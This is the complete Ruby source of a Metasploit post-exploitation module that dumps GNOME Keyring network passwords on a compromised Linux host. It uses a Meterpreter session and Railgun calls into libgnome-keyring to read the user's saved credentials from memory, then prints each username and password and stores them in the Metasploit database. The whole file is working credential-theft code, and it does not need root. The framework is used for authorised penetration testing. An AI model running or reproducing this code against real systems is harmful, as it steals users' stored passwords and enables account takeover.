metasploit-framework/modules/post/linux/gather/gnome_keyring_dump.rb

259 lines
7.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'bindata'
class MetasploitModule < Msf::Post
def initialize(info={})
super(update_info(info,
'Name' => 'Gnome-Keyring Dump',
'Description' => %q{
Use libgnome-keyring to extract network passwords for the current user.
This module does not require root privileges to run.
},
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
class GList_x64 < BinData::Record
endian :little
uint64 :data_ptr
uint64 :next_ptr
uint64 :prev_ptr
end
class GList_x86 < BinData::Record
endian :little
uint32 :data_ptr
uint32 :next_ptr
uint32 :prev_ptr
end
# https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList
def struct_glist
session.native_arch == ARCH_X64 ? GList_x64 : GList_x86
end
class GnomeKeyringNetworkPasswordData_x64 < BinData::Record
endian :little
uint64 :keyring
uint64 :item_id
uint64 :protocol
uint64 :server
uint64 :object
uint64 :authtype
uint64 :port
uint64 :user
uint64 :domain
uint64 :password
end
class GnomeKeyringNetworkPasswordData_x86 < BinData::Record
endian :little
uint32 :keyring
uint32 :item_id
uint32 :protocol
uint32 :server
uint32 :object
uint32 :authtype
uint32 :port
uint32 :user
uint32 :domain
uint32 :password
end
# https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData
def struct_gnomekeyringnetworkpassworddata
session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordData_x64 : GnomeKeyringNetworkPasswordData_x86
end
def init_railgun_defs
unless session.railgun.libraries.has_key?('libgnome_keyring')
session.railgun.add_library('libgnome_keyring', 'libgnome-keyring.so.0')
end
session.railgun.add_function(
'libgnome_keyring',
'gnome_keyring_is_available',
'BOOL',
[],
nil,
'cdecl'
)
session.railgun.add_function(
'libgnome_keyring',
'gnome_keyring_find_network_password_sync',
'DWORD',
[
['PCHAR', 'user', 'in'],
['PCHAR', 'domain', 'in'],
['PCHAR', 'server', 'in'],
['PCHAR', 'object', 'in'],
['PCHAR', 'protocol', 'in'],
['PCHAR', 'authtype', 'in'],
['DWORD', 'port', 'in'],
['PBLOB', 'results', 'out']
],
nil,
'cdecl'
)
session.railgun.add_function(
'libgnome_keyring',
'gnome_keyring_network_password_list_free',
'VOID',
[['LPVOID', 'list', 'in']],
nil,
'cdecl'
)
end
def get_string(address, chunk_size=64, max_size=256)
data = ''
begin
data << session.railgun.memread(address + data.length, chunk_size)
end until data.include?("\x00") or data.length >= max_size
if data.include?("\x00")
idx = data.index("\x00")
data = data[0...idx]
end
data[0...max_size]
end
def get_struct(address, record)
record = record.new
record.read(session.railgun.memread(address, record.num_bytes))
Hash[record.field_names.map { |field| [field, record[field]] }]
end
def get_list_entry(address)
glist_struct = get_struct(address, struct_glist)
glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)
glist_struct
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: opts[:protocol],
workspace_id: myworkspace_id
}
credential_data = {
post_reference_name: self.refname,
session_id: session_db_id,
origin_type: :session,
private_data: opts[:password],
private_type: :password,
username: opts[:username]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
}.merge(service_data)
create_credential_login(login_data)
end
def resolve_host(name)
address = @hostname_cache[name]
return address unless address.nil?
vprint_status("Resolving hostname: #{name}")
begin
address = session.net.resolve.resolve_host(name)[:ip]
rescue Rex::Post::Meterpreter::RequestError
end
@hostname_cache[name] = address
end
def resolve_port(service)
port = {
'ftp' => 21,
'http' => 80,
'https' => 443,
'sftp' => 22,
'ssh' => 22,
'smb' => 445
}[service]
port.nil? ? 0 : port
end
def run
init_railgun_defs
@hostname_cache = {}
libgnome_keyring = session.railgun.libgnome_keyring
unless libgnome_keyring.gnome_keyring_is_available()['return']
fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')
end
result = libgnome_keyring.gnome_keyring_find_network_password_sync(
nil, # user
nil, # domain
nil, # server
nil, # object
nil, # protocol
nil, # authtype
0, # port
session.native_arch == ARCH_X64 ? 8 : 4
)
list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]
fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0
entry = {:next_ptr => list_anchor}
begin
entry = get_list_entry(entry[:next_ptr])
pw_data = entry[:data]
# resolve necessary string fields to non-empty strings or nil
[:server, :user, :domain, :password, :protocol].each do |field|
value = pw_data[field]
pw_data[field] = nil
next if value == 0
value = get_string(value)
next if value.empty?
pw_data[field] = value
end
# skip the entry if we don't at least have a username and password
next if pw_data[:user].nil? or pw_data[:password].nil?
printable = ''
printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil?
printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil?
printable << "#{pw_data[:user]}:#{pw_data[:password]}"
unless pw_data[:server].nil?
printable << "@#{pw_data[:server]}"
printable << ":#{pw_data[:port]}"
end
print_good(printable)
pw_data[:port] = resolve_port(pw_data[:protocol]) if pw_data[:port] == 0 and !pw_data[:protocol].nil?
next if pw_data[:port] == 0 # can't report without a valid port
ip_address = resolve_host(pw_data[:server])
next if ip_address.nil? # can't report without an ip address
report_cred(
ip: ip_address,
port: pw_data[:port],
protocol: 'tcp',
service_name: pw_data[:protocol],
username: pw_data[:user],
password: pw_data[:password]
)
end while entry[:next_ptr] != list_anchor and entry[:next_ptr] != 0
libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)
end
end